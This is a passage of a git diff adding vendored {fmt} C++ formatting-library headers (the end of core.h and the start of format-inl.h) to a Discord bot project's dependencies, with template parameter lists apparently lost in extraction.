Tail&... args) { + init_named_args(named_args, arg_count + 1, named_arg_count, args...); +} + +template +void init_named_args(named_arg_info* named_args, int arg_count, + int named_arg_count, const named_arg& arg, + const Tail&... args) { + named_args[named_arg_count++] = {arg.name, arg_count}; + init_named_args(named_args, arg_count + 1, named_arg_count, args...); +} + +template +FMT_CONSTEXPR FMT_INLINE void init_named_args(std::nullptr_t, int, int, + const Args&...) {} + +template struct is_named_arg : std::false_type {}; + +template +struct is_named_arg> : std::true_type {}; + +template constexpr size_t count() { return B ? 1 : 0; } +template constexpr size_t count() { + return (B1 ? 1 : 0) + count(); +} + +template constexpr size_t count_named_args() { + return count::value...>(); +} + +enum class type { + none_type, + // Integer types should go first, + int_type, + uint_type, + long_long_type, + ulong_long_type, + int128_type, + uint128_type, + bool_type, + char_type, + last_integer_type = char_type, + // followed by floating-point types. + float_type, + double_type, + long_double_type, + last_numeric_type = long_double_type, + cstring_type, + string_type, + pointer_type, + custom_type +}; + +// Maps core type T to the corresponding type enum constant. +template +struct type_constant : std::integral_constant {}; + +#define FMT_TYPE_CONSTANT(Type, constant) \ + template \ + struct type_constant \ + : std::integral_constant {} + +FMT_TYPE_CONSTANT(int, int_type); +FMT_TYPE_CONSTANT(unsigned, uint_type); +FMT_TYPE_CONSTANT(long long, long_long_type); +FMT_TYPE_CONSTANT(unsigned long long, ulong_long_type); +FMT_TYPE_CONSTANT(int128_t, int128_type); +FMT_TYPE_CONSTANT(uint128_t, uint128_type); +FMT_TYPE_CONSTANT(bool, bool_type); +FMT_TYPE_CONSTANT(Char, char_type); +FMT_TYPE_CONSTANT(float, float_type); +FMT_TYPE_CONSTANT(double, double_type); +FMT_TYPE_CONSTANT(long double, long_double_type); +FMT_TYPE_CONSTANT(const Char*, cstring_type); +FMT_TYPE_CONSTANT(basic_string_view, string_type); +FMT_TYPE_CONSTANT(const void*, pointer_type); + +constexpr bool is_integral_type(type t) { + return t > type::none_type && t <= type::last_integer_type; +} + +constexpr bool is_arithmetic_type(type t) { + return t > type::none_type && t <= type::last_numeric_type; +} + +template struct string_value { + const Char* data; + size_t size; +}; + +template struct named_arg_value { + const named_arg_info* data; + size_t size; +}; + +template struct custom_value { + using parse_context = typename Context::parse_context_type; + const void* value; + void (*format)(const void* arg, parse_context& parse_ctx, Context& ctx); +}; + +// A formatting argument value. +template class value { + public: + using char_type = typename Context::char_type; + + union { + int int_value; + unsigned uint_value; + long long long_long_value; + unsigned long long ulong_long_value; + int128_t int128_value; + uint128_t uint128_value; + bool bool_value; + char_type char_value; + float float_value; + double double_value; + long double long_double_value; + const void* pointer; + string_value string; + custom_value custom; + named_arg_value named_args; + }; + + constexpr FMT_INLINE value(int val = 0) : int_value(val) {} + constexpr FMT_INLINE value(unsigned val) : uint_value(val) {} + constexpr FMT_INLINE value(long long val) : long_long_value(val) {} + constexpr FMT_INLINE value(unsigned long long val) : ulong_long_value(val) {} + FMT_INLINE value(int128_t val) : int128_value(val) {} + FMT_INLINE value(uint128_t val) : uint128_value(val) {} + FMT_INLINE value(float val) : float_value(val) {} + FMT_INLINE value(double val) : double_value(val) {} + FMT_INLINE value(long double val) : long_double_value(val) {} + constexpr FMT_INLINE value(bool val) : bool_value(val) {} + constexpr FMT_INLINE value(char_type val) : char_value(val) {} + FMT_CONSTEXPR FMT_INLINE value(const char_type* val) { + string.data = val; + if (is_constant_evaluated()) string.size = {}; + } + FMT_CONSTEXPR FMT_INLINE value(basic_string_view val) { + string.data = val.data(); + string.size = val.size(); + } + FMT_INLINE value(const void* val) : pointer(val) {} + FMT_INLINE value(const named_arg_info* args, size_t size) + : named_args{args, size} {} + + template FMT_INLINE value(const T& val) { + custom.value = &val; + // Get the formatter type through the context to allow different contexts + // have different extension points, e.g. `formatter` for `format` and + // `printf_formatter` for `printf`. + custom.format = format_custom_arg< + T, conditional_t::value, + typename Context::template formatter_type, + fallback_formatter>>; + } + + private: + // Formats an argument of a custom type, such as a user-defined class. + template + static void format_custom_arg(const void* arg, + typename Context::parse_context_type& parse_ctx, + Context& ctx) { + Formatter f; + parse_ctx.advance_to(f.parse(parse_ctx)); + ctx.advance_to(f.format(*static_cast(arg), ctx)); + } +}; + +template +FMT_CONSTEXPR basic_format_arg make_arg(const T& value); + +// To minimize the number of types we need to deal with, long is translated +// either to int or to long long depending on its size. +enum { long_short = sizeof(long) == sizeof(int) }; +using long_type = conditional_t; +using ulong_type = conditional_t; + +struct unformattable {}; + +// Maps formatting arguments to core types. +template struct arg_mapper { + using char_type = typename Context::char_type; + + FMT_CONSTEXPR FMT_INLINE int map(signed char val) { return val; } + FMT_CONSTEXPR FMT_INLINE unsigned map(unsigned char val) { return val; } + FMT_CONSTEXPR FMT_INLINE int map(short val) { return val; } + FMT_CONSTEXPR FMT_INLINE unsigned map(unsigned short val) { return val; } + FMT_CONSTEXPR FMT_INLINE int map(int val) { return val; } + FMT_CONSTEXPR FMT_INLINE unsigned map(unsigned val) { return val; } + FMT_CONSTEXPR FMT_INLINE long_type map(long val) { return val; } + FMT_CONSTEXPR FMT_INLINE ulong_type map(unsigned long val) { return val; } + FMT_CONSTEXPR FMT_INLINE long long map(long long val) { return val; } + FMT_CONSTEXPR FMT_INLINE unsigned long long map(unsigned long long val) { + return val; + } + FMT_CONSTEXPR FMT_INLINE int128_t map(int128_t val) { return val; } + FMT_CONSTEXPR FMT_INLINE uint128_t map(uint128_t val) { return val; } + FMT_CONSTEXPR FMT_INLINE bool map(bool val) { return val; } + + template ::value)> + FMT_CONSTEXPR FMT_INLINE char_type map(T val) { + static_assert( + std::is_same::value || std::is_same::value, + "mixing character types is disallowed"); + return val; + } + + FMT_CONSTEXPR FMT_INLINE float map(float val) { return val; } + FMT_CONSTEXPR FMT_INLINE double map(double val) { return val; } + FMT_CONSTEXPR FMT_INLINE long double map(long double val) { return val; } + + FMT_CONSTEXPR FMT_INLINE const char_type* map(char_type* val) { return val; } + FMT_CONSTEXPR FMT_INLINE const char_type* map(const char_type* val) { + return val; + } + template ::value)> + FMT_CONSTEXPR FMT_INLINE basic_string_view map(const T& val) { + static_assert(std::is_same>::value, + "mixing character types is disallowed"); + return to_string_view(val); + } + template , T>::value && + !is_string::value && !has_formatter::value && + !has_fallback_formatter::value)> + FMT_CONSTEXPR FMT_INLINE basic_string_view map(const T& val) { + return basic_string_view(val); + } + template < + typename T, + FMT_ENABLE_IF( + std::is_constructible, T>::value && + !std::is_constructible, T>::value && + !is_string::value && !has_formatter::value && + !has_fallback_formatter::value)> + FMT_CONSTEXPR FMT_INLINE basic_string_view map(const T& val) { + return std_string_view(val); + } + FMT_CONSTEXPR FMT_INLINE const char* map(const signed char* val) { + static_assert(std::is_same::value, "invalid string type"); + return reinterpret_cast(val); + } + FMT_CONSTEXPR FMT_INLINE const char* map(const unsigned char* val) { + static_assert(std::is_same::value, "invalid string type"); + return reinterpret_cast(val); + } + FMT_CONSTEXPR FMT_INLINE const char* map(signed char* val) { + const auto* const_val = val; + return map(const_val); + } + FMT_CONSTEXPR FMT_INLINE const char* map(unsigned char* val) { + const auto* const_val = val; + return map(const_val); + } + + FMT_CONSTEXPR FMT_INLINE const void* map(void* val) { return val; } + FMT_CONSTEXPR FMT_INLINE const void* map(const void* val) { return val; } + FMT_CONSTEXPR FMT_INLINE const void* map(std::nullptr_t val) { return val; } + + // We use SFINAE instead of a const T* parameter to avoid conflicting with + // the C array overload. + template + FMT_CONSTEXPR auto map(T) -> enable_if_t::value, int> { + // Formatting of arbitrary pointers is disallowed. If you want to output + // a pointer cast it to "void *" or "const void *". In particular, this + // forbids formatting of "[const] volatile char *" which is printed as bool + // by iostreams. + static_assert(!sizeof(T), "formatting of non-void pointers is disallowed"); + return 0; + } + + template + FMT_CONSTEXPR FMT_INLINE auto map(const T (&values)[N]) -> const T (&)[N] { + return values; + } + + template ::value && + !has_formatter::value && + !has_fallback_formatter::value)> + FMT_CONSTEXPR FMT_INLINE auto map(const T& val) + -> decltype(std::declval().map( + static_cast::type>(val))) { + return map(static_cast::type>(val)); + } + template ::value && !is_char::value && + (has_formatter::value || + has_fallback_formatter::value))> + FMT_CONSTEXPR FMT_INLINE const T& map(const T& val) { + return val; + } + + template + FMT_CONSTEXPR FMT_INLINE auto map(const named_arg& val) + -> decltype(std::declval().map(val.value)) { + return map(val.value); + } + + unformattable map(...) { return {}; } +}; + +// A type constant after applying arg_mapper. +template +using mapped_type_constant = + type_constant().map(std::declval())), + typename Context::char_type>; + +enum { packed_arg_bits = 4 }; +// Maximum number of arguments with packed types. +enum { max_packed_args = 62 / packed_arg_bits }; +enum : unsigned long long { is_unpacked_bit = 1ULL << 63 }; +enum : unsigned long long { has_named_args_bit = 1ULL << 62 }; +} // namespace detail + +// A formatting argument. It is a trivially copyable/constructible type to +// allow storage in basic_memory_buffer. +template class basic_format_arg { + private: + detail::value value_; + detail::type type_; + + template + friend FMT_CONSTEXPR basic_format_arg detail::make_arg( + const T& value); + + template + friend FMT_CONSTEXPR auto visit_format_arg(Visitor&& vis, + const basic_format_arg& arg) + -> decltype(vis(0)); + + friend class basic_format_args; + friend class dynamic_format_arg_store; + + using char_type = typename Context::char_type; + + template + friend struct detail::arg_data; + + basic_format_arg(const detail::named_arg_info* args, size_t size) + : value_(args, size) {} + + public: + class handle { + public: + explicit handle(detail::custom_value custom) : custom_(custom) {} + + void format(typename Context::parse_context_type& parse_ctx, + Context& ctx) const { + custom_.format(custom_.value, parse_ctx, ctx); + } + + private: + detail::custom_value custom_; + }; + + constexpr basic_format_arg() : type_(detail::type::none_type) {} + + constexpr explicit operator bool() const FMT_NOEXCEPT { + return type_ != detail::type::none_type; + } + + detail::type type() const { return type_; } + + bool is_integral() const { return detail::is_integral_type(type_); } + bool is_arithmetic() const { return detail::is_arithmetic_type(type_); } +}; + +/** + \rst + Visits an argument dispatching to the appropriate visit method based on + the argument type. For example, if the argument type is ``double`` then + ``vis(value)`` will be called with the value of type ``double``. + \endrst + */ +template +FMT_CONSTEXPR_DECL FMT_INLINE auto visit_format_arg( + Visitor&& vis, const basic_format_arg& arg) -> decltype(vis(0)) { + using char_type = typename Context::char_type; + switch (arg.type_) { + case detail::type::none_type: + break; + case detail::type::int_type: + return vis(arg.value_.int_value); + case detail::type::uint_type: + return vis(arg.value_.uint_value); + case detail::type::long_long_type: + return vis(arg.value_.long_long_value); + case detail::type::ulong_long_type: + return vis(arg.value_.ulong_long_value); +#if FMT_USE_INT128 + case detail::type::int128_type: + return vis(arg.value_.int128_value); + case detail::type::uint128_type: + return vis(arg.value_.uint128_value); +#else + case detail::type::int128_type: + case detail::type::uint128_type: + break; +#endif + case detail::type::bool_type: + return vis(arg.value_.bool_value); + case detail::type::char_type: + return vis(arg.value_.char_value); + case detail::type::float_type: + return vis(arg.value_.float_value); + case detail::type::double_type: + return vis(arg.value_.double_value); + case detail::type::long_double_type: + return vis(arg.value_.long_double_value); + case detail::type::cstring_type: + return vis(arg.value_.string.data); + case detail::type::string_type: + return vis(basic_string_view(arg.value_.string.data, + arg.value_.string.size)); + case detail::type::pointer_type: + return vis(arg.value_.pointer); + case detail::type::custom_type: + return vis(typename basic_format_arg::handle(arg.value_.custom)); + } + return vis(monostate()); +} + +namespace detail { + +#if FMT_GCC_VERSION && FMT_GCC_VERSION < 500 +// A workaround for gcc 4.8 to make void_t work in a SFINAE context. +template struct void_t_impl { using type = void; }; +template +using void_t = typename detail::void_t_impl::type; +#else +template using void_t = void; +#endif + +template +struct is_output_iterator : std::false_type {}; + +template +struct is_output_iterator< + It, T, + void_t::iterator_category, + decltype(*std::declval() = std::declval())>> + : std::true_type {}; + +template +struct is_back_insert_iterator : std::false_type {}; +template +struct is_back_insert_iterator> + : std::true_type {}; + +template +struct is_contiguous_back_insert_iterator : std::false_type {}; +template +struct is_contiguous_back_insert_iterator> + : is_contiguous {}; +template +struct is_contiguous_back_insert_iterator> + : std::true_type {}; + +// A type-erased reference to an std::locale to avoid heavy include. +class locale_ref { + private: + const void* locale_; // A type-erased pointer to std::locale. + + public: + constexpr locale_ref() : locale_(nullptr) {} + template explicit locale_ref(const Locale& loc); + + explicit operator bool() const FMT_NOEXCEPT { return locale_ != nullptr; } + + template Locale get() const; +}; + +template constexpr unsigned long long encode_types() { return 0; } + +template +constexpr unsigned long long encode_types() { + return static_cast(mapped_type_constant::value) | + (encode_types() << packed_arg_bits); +} + +template +FMT_CONSTEXPR basic_format_arg make_arg(const T& value) { + basic_format_arg arg; + arg.type_ = mapped_type_constant::value; + arg.value_ = arg_mapper().map(value); + return arg; +} + +// The type template parameter is there to avoid an ODR violation when using +// a fallback formatter in one translation unit and an implicit conversion in +// another (not recommended). +template +FMT_CONSTEXPR FMT_INLINE value make_arg(const T& val) { + const auto& arg = arg_mapper().map(val); + static_assert( + !std::is_same::value, + "Cannot format an argument. To make type T formattable provide a " + "formatter specialization: https://fmt.dev/latest/api.html#udt"); + return arg; +} + +template +inline basic_format_arg make_arg(const T& value) { + return make_arg(value); +} +} // namespace detail + +// Formatting context. +template class basic_format_context { + public: + /** The character type for the output. */ + using char_type = Char; + + private: + OutputIt out_; + basic_format_args args_; + detail::locale_ref loc_; + + public: + using iterator = OutputIt; + using format_arg = basic_format_arg; + using parse_context_type = basic_format_parse_context; + template using formatter_type = formatter; + + basic_format_context(const basic_format_context&) = delete; + void operator=(const basic_format_context&) = delete; + /** + Constructs a ``basic_format_context`` object. References to the arguments are + stored in the object so make sure they have appropriate lifetimes. + */ + constexpr basic_format_context( + OutputIt out, basic_format_args ctx_args, + detail::locale_ref loc = detail::locale_ref()) + : out_(out), args_(ctx_args), loc_(loc) {} + + constexpr format_arg arg(int id) const { return args_.get(id); } + FMT_CONSTEXPR format_arg arg(basic_string_view name) { + return args_.get(name); + } + int arg_id(basic_string_view name) { return args_.get_id(name); } + const basic_format_args& args() const { return args_; } + + FMT_CONSTEXPR detail::error_handler error_handler() { return {}; } + void on_error(const char* message) { error_handler().on_error(message); } + + // Returns an iterator to the beginning of the output range. + FMT_CONSTEXPR iterator out() { return out_; } + + // Advances the begin iterator to ``it``. + void advance_to(iterator it) { + if (!detail::is_back_insert_iterator()) out_ = it; + } + + FMT_CONSTEXPR detail::locale_ref locale() { return loc_; } +}; + +template +using buffer_context = + basic_format_context, Char>; +using format_context = buffer_context; +using wformat_context = buffer_context; + +// Workaround an alias issue: https://stackoverflow.com/q/62767544/471164. +#define FMT_BUFFER_CONTEXT(Char) \ + basic_format_context, Char> + +template +using is_formattable = bool_constant>().map(std::declval())), + detail::unformattable>::value>; + +/** + \rst + An array of references to arguments. It can be implicitly converted into + `~fmt::basic_format_args` for passing into type-erased formatting functions + such as `~fmt::vformat`. + \endrst + */ +template +class format_arg_store +#if FMT_GCC_VERSION && FMT_GCC_VERSION < 409 + // Workaround a GCC template argument substitution bug. + : public basic_format_args +#endif +{ + private: + static const size_t num_args = sizeof...(Args); + static const size_t num_named_args = detail::count_named_args(); + static const bool is_packed = num_args <= detail::max_packed_args; + + using value_type = conditional_t, + basic_format_arg>; + + detail::arg_data + data_; + + friend class basic_format_args; + + static constexpr unsigned long long desc = + (is_packed ? detail::encode_types() + : detail::is_unpacked_bit | num_args) | + (num_named_args != 0 + ? static_cast(detail::has_named_args_bit) + : 0); + + public: + FMT_CONSTEXPR FMT_INLINE format_arg_store(const Args&... args) + : +#if FMT_GCC_VERSION && FMT_GCC_VERSION < 409 + basic_format_args(*this), +#endif + data_{detail::make_arg< + is_packed, Context, + detail::mapped_type_constant::value>(args)...} { + detail::init_named_args(data_.named_args(), 0, 0, args...); + } +}; + +/** + \rst + Constructs a `~fmt::format_arg_store` object that contains references to + arguments and can be implicitly converted to `~fmt::format_args`. `Context` + can be omitted in which case it defaults to `~fmt::context`. + See `~fmt::arg` for lifetime considerations. + \endrst + */ +template +constexpr format_arg_store make_format_args( + const Args&... args) { + return {args...}; +} + +/** + \rst + Constructs a `~fmt::format_arg_store` object that contains references + to arguments and can be implicitly converted to `~fmt::format_args`. + If ``format_str`` is a compile-time string then `make_args_checked` checks + its validity at compile time. + \endrst + */ +template > +FMT_INLINE auto make_args_checked(const S& format_str, + const remove_reference_t&... args) + -> format_arg_store, remove_reference_t...> { + static_assert( + detail::count<( + std::is_base_of>::value && + std::is_reference::value)...>() == 0, + "passing views as lvalues is disallowed"); + detail::check_format_string(format_str); + return {args...}; +} + +/** + \rst + Returns a named argument to be used in a formatting function. + It should only be used in a call to a formatting function or + `dynamic_format_arg_store::push_back`. + + **Example**:: + + fmt::print("Elapsed time: {s:.2f} seconds", fmt::arg("s", 1.23)); + \endrst + */ +template +inline detail::named_arg arg(const Char* name, const T& arg) { + static_assert(!detail::is_named_arg(), "nested named arguments"); + return {name, arg}; +} + +/** + \rst + A view of a collection of formatting arguments. To avoid lifetime issues it + should only be used as a parameter type in type-erased functions such as + ``vformat``:: + + void vlog(string_view format_str, format_args args); // OK + format_args args = make_format_args(42); // Error: dangling reference + \endrst + */ +template class basic_format_args { + public: + using size_type = int; + using format_arg = basic_format_arg; + + private: + // A descriptor that contains information about formatting arguments. + // If the number of arguments is less or equal to max_packed_args then + // argument types are passed in the descriptor. This reduces binary code size + // per formatting function call. + unsigned long long desc_; + union { + // If is_packed() returns true then argument values are stored in values_; + // otherwise they are stored in args_. This is done to improve cache + // locality and reduce compiled code size since storing larger objects + // may require more code (at least on x86-64) even if the same amount of + // data is actually copied to stack. It saves ~10% on the bloat test. + const detail::value* values_; + const format_arg* args_; + }; + + constexpr bool is_packed() const { + return (desc_ & detail::is_unpacked_bit) == 0; + } + bool has_named_args() const { + return (desc_ & detail::has_named_args_bit) != 0; + } + + FMT_CONSTEXPR detail::type type(int index) const { + int shift = index * detail::packed_arg_bits; + unsigned int mask = (1 << detail::packed_arg_bits) - 1; + return static_cast((desc_ >> shift) & mask); + } + + constexpr FMT_INLINE basic_format_args(unsigned long long desc, + const detail::value* values) + : desc_(desc), values_(values) {} + constexpr basic_format_args(unsigned long long desc, const format_arg* args) + : desc_(desc), args_(args) {} + + public: + constexpr basic_format_args() : desc_(0), args_(nullptr) {} + + /** + \rst + Constructs a `basic_format_args` object from `~fmt::format_arg_store`. + \endrst + */ + template + constexpr FMT_INLINE basic_format_args( + const format_arg_store& store) + : basic_format_args(format_arg_store::desc, + store.data_.args()) {} + + /** + \rst + Constructs a `basic_format_args` object from + `~fmt::dynamic_format_arg_store`. + \endrst + */ + constexpr FMT_INLINE basic_format_args( + const dynamic_format_arg_store& store) + : basic_format_args(store.get_types(), store.data()) {} + + /** + \rst + Constructs a `basic_format_args` object from a dynamic set of arguments. + \endrst + */ + constexpr basic_format_args(const format_arg* args, int count) + : basic_format_args(detail::is_unpacked_bit | detail::to_unsigned(count), + args) {} + + /** Returns the argument with the specified id. */ + FMT_CONSTEXPR format_arg get(int id) const { + format_arg arg; + if (!is_packed()) { + if (id < max_size()) arg = args_[id]; + return arg; + } + if (id >= detail::max_packed_args) return arg; + arg.type_ = type(id); + if (arg.type_ == detail::type::none_type) return arg; + arg.value_ = values_[id]; + return arg; + } + + template format_arg get(basic_string_view name) const { + int id = get_id(name); + return id >= 0 ? get(id) : format_arg(); + } + + template int get_id(basic_string_view name) const { + if (!has_named_args()) return -1; + const auto& named_args = + (is_packed() ? values_[-1] : args_[-1].value_).named_args; + for (size_t i = 0; i < named_args.size; ++i) { + if (named_args.data[i].name == name) return named_args.data[i].id; + } + return -1; + } + + int max_size() const { + unsigned long long max_packed = detail::max_packed_args; + return static_cast(is_packed() ? max_packed + : desc_ & ~detail::is_unpacked_bit); + } +}; + +#ifdef FMT_ARM_ABI_COMPATIBILITY +/** An alias to ``basic_format_args``. */ +// Separate types would result in shorter symbols but break ABI compatibility +// between clang and gcc on ARM (#1919). +using format_args = basic_format_args; +using wformat_args = basic_format_args; +#else +// DEPRECATED! These are kept for ABI compatibility. +// It is a separate type rather than an alias to make symbols readable. +struct format_args : basic_format_args { + template + FMT_INLINE format_args(const Args&... args) : basic_format_args(args...) {} +}; +struct wformat_args : basic_format_args { + using basic_format_args::basic_format_args; +}; +#endif + +namespace detail { + +template ::value)> +std::basic_string vformat( + basic_string_view format_str, + basic_format_args>> args); + +FMT_API std::string vformat(string_view format_str, format_args args); + +template +void vformat_to( + buffer& buf, basic_string_view format_str, + basic_format_args)> args, + detail::locale_ref loc = {}); + +template ::value)> +inline void vprint_mojibake(std::FILE*, basic_string_view, const Args&) {} + +FMT_API void vprint_mojibake(std::FILE*, string_view, format_args); +#ifndef _WIN32 +inline void vprint_mojibake(std::FILE*, string_view, format_args) {} +#endif +} // namespace detail + +/** Formats a string and writes the output to ``out``. */ +// GCC 8 and earlier cannot handle std::back_insert_iterator with +// vformat_to(...) overload, so SFINAE on iterator type instead. +template , + bool enable = detail::is_output_iterator::value> +auto vformat_to(OutputIt out, const S& format_str, + basic_format_args>> args) + -> typename std::enable_if::type { + decltype(detail::get_buffer(out)) buf(detail::get_buffer_init(out)); + detail::vformat_to(buf, to_string_view(format_str), args); + return detail::get_iterator(buf); +} + +/** + \rst + Formats arguments, writes the result to the output iterator ``out`` and returns + the iterator past the end of the output range. + + **Example**:: + + std::vector out; + fmt::format_to(std::back_inserter(out), "{}", 42); + \endrst + */ +// We cannot use FMT_ENABLE_IF because of a bug in gcc 8.3. +template >::value> +inline auto format_to(OutputIt out, const S& format_str, Args&&... args) -> + typename std::enable_if::type { + const auto& vargs = fmt::make_args_checked(format_str, args...); + return vformat_to(out, to_string_view(format_str), vargs); +} + +template struct format_to_n_result { + /** Iterator past the end of the output range. */ + OutputIt out; + /** Total (not truncated) output size. */ + size_t size; +}; + +template ::value)> +inline format_to_n_result vformat_to_n( + OutputIt out, size_t n, basic_string_view format_str, + basic_format_args>> args) { + detail::iterator_buffer buf(out, + n); + detail::vformat_to(buf, format_str, args); + return {buf.out(), buf.count()}; +} + +/** + \rst + Formats arguments, writes up to ``n`` characters of the result to the output + iterator ``out`` and returns the total output size and the iterator past the + end of the output range. + \endrst + */ +template >::value> +inline auto format_to_n(OutputIt out, size_t n, const S& format_str, + const Args&... args) -> + typename std::enable_if>::type { + const auto& vargs = fmt::make_args_checked(format_str, args...); + return vformat_to_n(out, n, to_string_view(format_str), vargs); +} + +/** + Returns the number of characters in the output of + ``format(format_str, args...)``. + */ +template > +inline size_t formatted_size(const S& format_str, Args&&... args) { + const auto& vargs = fmt::make_args_checked(format_str, args...); + detail::counting_buffer<> buf; + detail::vformat_to(buf, to_string_view(format_str), vargs); + return buf.count(); +} + +template > +FMT_INLINE std::basic_string vformat( + const S& format_str, + basic_format_args>> args) { + return detail::vformat(to_string_view(format_str), args); +} + +/** + \rst + Formats arguments and returns the result as a string. + + **Example**:: + + #include + std::string message = fmt::format("The answer is {}", 42); + \endrst +*/ +// Pass char_t as a default template parameter instead of using +// std::basic_string> to reduce the symbol size. +template , + FMT_ENABLE_IF(!FMT_COMPILE_TIME_CHECKS || + !std::is_same::value)> +FMT_INLINE std::basic_string format(const S& format_str, Args&&... args) { + const auto& vargs = fmt::make_args_checked(format_str, args...); + return detail::vformat(to_string_view(format_str), vargs); +} + +FMT_API void vprint(string_view, format_args); +FMT_API void vprint(std::FILE*, string_view, format_args); + +/** + \rst + Formats ``args`` according to specifications in ``format_str`` and writes the + output to the file ``f``. Strings are assumed to be Unicode-encoded unless the + ``FMT_UNICODE`` macro is set to 0. + + **Example**:: + + fmt::print(stderr, "Don't {}!", "panic"); + \endrst + */ +template > +inline void print(std::FILE* f, const S& format_str, Args&&... args) { + const auto& vargs = fmt::make_args_checked(format_str, args...); + return detail::is_unicode() + ? vprint(f, to_string_view(format_str), vargs) + : detail::vprint_mojibake(f, to_string_view(format_str), vargs); +} + +/** + \rst + Formats ``args`` according to specifications in ``format_str`` and writes + the output to ``stdout``. Strings are assumed to be Unicode-encoded unless + the ``FMT_UNICODE`` macro is set to 0. + + **Example**:: + + fmt::print("Elapsed time: {0:.2f} seconds", 1.23); + \endrst + */ +template > +inline void print(const S& format_str, Args&&... args) { + const auto& vargs = fmt::make_args_checked(format_str, args...); + return detail::is_unicode() + ? vprint(to_string_view(format_str), vargs) + : detail::vprint_mojibake(stdout, to_string_view(format_str), + vargs); +} +FMT_GCC_PRAGMA("GCC pop_options") +FMT_END_NAMESPACE + +#endif // FMT_CORE_H_ + +// Define FMT_DYNAMIC_ARGS to make core.h provide dynamic_format_arg_store +// DEPRECATED! Include fmt/args.h directly instead. +#ifdef FMT_DYNAMIC_ARGS +#include "args.h" +#endif diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format-inl.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format-inl.h new file mode 100644 index 0000000..c6fb6e1 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format-inl.h @@ -0,0 +1,2731 @@ +// Formatting library for C++ - implementation +// +// Copyright (c) 2012 - 2016, Victor Zverovich +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_FORMAT_INL_H_ +#define FMT_FORMAT_INL_H_ + +#include +#include +#include +#include +#include +#include // std::memmove +#include +#include + +#ifndef FMT_STATIC_THOUSANDS_SEPARATOR +# include +#endif + +#ifdef _WIN32 +# include // _isatty +#endif + +#include "format.h" + +// Dummy implementations of strerror_r and strerror_s called if corresponding +// system functions are not available. +inline fmt::detail::null<> strerror_r(int, char*, ...) { return {}; } +inline fmt::detail::null<> strerror_s(char*, size_t, ...) { return {}; } + +FMT_BEGIN_NAMESPACE +namespace detail { + +FMT_FUNC void assert_fail(const char* file, int line, const char* message) { + // Use unchecked std::fprintf to avoid triggering another assertion when + // writing to stderr fails + std::fprintf(stderr, "%s:%d: assertion failed: %s", file, line, message); + // Chosen instead of std::abort to satisfy Clang in CUDA mode during device + // code pass. + std::terminate(); +} + +#ifndef _MSC_VER +# define FMT_SNPRINTF snprintf +#else // _MSC_VER +inline int fmt_snprintf(char* buffer, size_t size, const char* format, ...) { + va_list args; + va_start(args, format); + int result = vsnprintf_s(buffer, size, _TRUNCATE, format, args); + va_end(args); + return result; +} +# define FMT_SNPRINTF fmt_snprintf +#endif // _MSC_VER + +// A portable thread-safe version of strerror. +// Sets buffer to point to a string describing the error code. +// This can be either a pointer to a string stored in buffer, +// or a pointer to some static immutable string. +// Returns one of the following values: +// 0 - success +// ERANGE - buffer is not large enough to store the error message +// other - failure +// Buffer should be at least of size 1. +inline int safe_strerror(int error_code, char*& buffer, + size_t buffer_size) FMT_NOEXCEPT { + FMT_ASSERT(buffer != nullptr && buffer_size != 0, "invalid buffer"); + + class dispatcher { + private: + int error_code_; + char*& buffer_; + size_t buffer_size_; + + // A noop assignment operator to avoid bogus warnings. + void operator=(const dispatcher&) {} + + // Handle the result of XSI-compliant version of strerror_r. + int handle(int result) { + // glibc versions before 2.13 return result in errno. + return result == -1 ? errno : result; + } + + // Handle the result of GNU-specific version of strerror_r. + FMT_MAYBE_UNUSED + int handle(char* message) { + // If the buffer is full then the message is probably truncated. + if (message == buffer_ && strlen(buffer_) == buffer_size_ - 1) + return ERANGE; + buffer_ = message; + return 0; + } + + // Handle the case when strerror_r is not available. + FMT_MAYBE_UNUSED + int handle(detail::null<>) { + return fallback(strerror_s(buffer_, buffer_size_, error_code_)); + } + + // Fallback to strerror_s when strerror_r is not available. + FMT_MAYBE_UNUSED + int fallback(int result) { + // If the buffer is full then the message is probably truncated. + return result == 0 && strlen(buffer_) == buffer_size_ - 1 ? ERANGE + : result; + } + +#if !FMT_MSC_VER + // Fallback to strerror if strerror_r and strerror_s are not available. + int fallback(detail::null<>) { + errno = 0; + buffer_ = strerror(error_code_); + return errno; + } +#endif + + public: + dispatcher(int err_code, char*& buf, size_t buf_size) + : error_code_(err_code), buffer_(buf), buffer_size_(buf_size) {} + + int run() { return handle(strerror_r(error_code_, buffer_, buffer_size_)); } + }; + return dispatcher(error_code, buffer, buffer_size).run(); +} + +FMT_FUNC void format_error_code(detail::buffer& out, int error_code, + string_view message) FMT_NOEXCEPT { + // Report error code making sure that the output fits into + // inline_buffer_size to avoid dynamic memory allocation and potential + // bad_alloc. + out.try_resize(0); + static const char SEP[] = ": "; + static const char ERROR_STR[] = "error "; + // Subtract 2 to account for terminating null characters in SEP and ERROR_STR. + size_t error_code_size = sizeof(SEP) + sizeof(ERROR_STR) - 2; + auto abs_value = static_cast>(error_code); + if (detail::is_negative(error_code)) { + abs_value = 0 - abs_value; + ++error_code_size; + } + error_code_size += detail::to_unsigned(detail::count_digits(abs_value)); + auto it = buffer_appender(out); + if (message.size() <= inline_buffer_size - error_code_size) + format_to(it, FMT_STRING("{}{}"), message, SEP); + format_to(it, FMT_STRING("{}{}"), ERROR_STR, error_code); + FMT_ASSERT(out.size() <= inline_buffer_size, ""); +} + +FMT_FUNC void report_error(format_func func, int error_code, + string_view message) FMT_NOEXCEPT { + memory_buffer full_message; + func(full_message, error_code, message); + // Don't use fwrite_fully because the latter may throw. + if (std::fwrite(full_message.data(), full_message.size(), 1, stderr) > 0) + std::fputc('\n', stderr); +} + +// A wrapper around fwrite that throws on error. +inline void fwrite_fully(const void* ptr, size_t size, size_t count, + FILE* stream) { + size_t written = std::fwrite(ptr, size, count, stream); + if (written < count) FMT_THROW(system_error(errno, "cannot write to file")); +} + +#ifndef FMT_STATIC_THOUSANDS_SEPARATOR +template +locale_ref::locale_ref(const Locale& loc) : locale_(&loc) { + static_assert(std::is_same::value, ""); +} + +template Locale locale_ref::get() const { + static_assert(std::is_same::value, ""); + return locale_ ? *static_cast(locale_) : std::locale(); +} + +template FMT_FUNC std::string grouping_impl(locale_ref loc) { + return std::use_facet>(loc.get()).grouping(); +} +template FMT_FUNC Char thousands_sep_impl(locale_ref loc) { + return std::use_facet>(loc.get()) + .thousands_sep(); +} +template 